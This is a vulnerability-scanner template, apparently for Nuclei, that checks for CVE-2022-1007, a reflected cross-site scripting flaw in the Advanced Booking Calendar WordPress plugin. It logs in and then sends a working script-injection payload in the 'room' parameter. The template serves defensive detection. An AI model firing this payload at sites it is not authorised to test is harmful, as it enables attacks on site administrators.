49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
|
id: CVE-2022-1007
|
||
|
|
||
|
info:
|
||
|
name: Advanced Booking Calendar < 1.7.1 - Cross-Site Scripting
|
||
|
author: 8arthur
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The Advanced Booking Calendar WordPress plugin before 1.7.1 does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
|
||
|
- https://wordpress.org/plugins/advanced-booking-calendar/
|
||
|
- https://nvd.nist.gov/vuln/detail/cve-2022-1007
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||
|
cvss-score: 6.1
|
||
|
cve-id: CVE-2022-1007
|
||
|
cwe-id: CWE-79
|
||
|
tags: cve,cve2022,wordpress,wp-plugin,xss,wp,authenticated,wpscan
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- '<script>alert(document.domain)</script>'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|